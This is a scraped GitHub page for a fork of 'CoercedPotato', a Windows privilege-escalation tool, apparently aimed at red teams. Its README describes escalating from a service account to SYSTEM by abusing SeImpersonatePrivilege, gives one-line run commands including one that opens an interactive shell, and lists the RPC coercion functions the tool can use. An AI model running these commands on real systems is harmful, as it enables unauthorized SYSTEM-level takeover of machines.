Sign in

hackvens / CoercedPotato Public

forked from Prepouce/CoercedPotato

🔔 Notifications   ⑂ Fork 28   ☆ Star 229

<> Code   Pull requests   Actions   Projects   Security   Insights

⑂ master ▾   ⑂   🏷

Go to file   <> Code ▾

📁 IDL_FILES		
📁 lib		
📁 rpc_interfaces		
📄 .gitattributes		
📄 .gitignore		
📄 CLI11.hpp		
📄 CoerceFunctions.cpp		
📄 CoerceFunctions.h		
📄 CoercedPotato.cpp		
📄 CoercedPotato.sln		
📄 CoercedPotato.vcxproj		
📄 CoercedPotato.vcxpr...		
📄 README.md		

About

No description, website, or topics provided.

📖 Readme

⌁ Activity

▤ Custom properties

☆ 229 stars

👁 3 watching

⑂ 28 forks

Report repository

Releases

No releases published

Packages

No packages published

Languages

● C 93.4%   ● C++ 6.6%

📄 poc.png

📖 **README**

☰

Coerced potato

From Patate (LOCAL/NETWORK SERVICE) to SYSTEM by abusing `SeImpersonatePrivilege` on Windows 10, Windows 11 and Server 2022.

For more information: https://blog.hackvens.fr/articles/CoercedPotato.html (The english version is coming soon!! 😄)

A very quick PoooooC:

```
.\CoercedPotato.exe -c whoami
```

An other PoC with an interactive shell:

```
.\CoercedPotato.exe -c cmd.exe
```

Usage

You can check the help message using the `--help` option.

```
    ____                                       _  ____
   / ___|___    ___ _ __ ___ ___   __| | _ \ ___
  | |   / _ \ / _ \ '__/ __/ _ \ / _` | |_) / _ \
  | |__| (_) |  __/ | | (_|  __/ (_| |  __/ (_)
   _____/ \___|_|  _____|\__,_|_|    \___/
```

```
                                                        @Hac

CoercedPotato is an automated tool for privileg
Usage: .\CoercedPotato.exe [OPTIONS]

Options:
  -h,--help                 Print this help m
  -c,--command TEXT REQUIRED  Program to execut
  -i,--interface TEXT       Optionnal interfa
  -n,--exploitId INT        Optionnal exploit
                              -> ms-rprn :
                                [0] RpcRemoteF
                                [1] RpcRemoteF
                              -> ms-efsr
                                [0] EfsRpcOpenl
                                [1] EfsRpcEncry
                                [2] EfsRpcDecry
                                [3] EfsRpcQuery
                                [4] EfsRpcQuery
                                [5] EfsRpcRemov
                                [6] EfsRpcAddU
                                [7] EfsRpcFilel
                                [8] EfsRpcDupl
                                [9] EfsRpcAddU
                                [10] EfsRpcFil
                                [11] EfsRpcGet
                                [12] EfsRpcEnc
                                [13] EfsRpcQue

  -f,--force BOOLEAN        Force all RPC fun
  --interactive BOOLEAN     Set wether the pr
```

Made in France FR with <3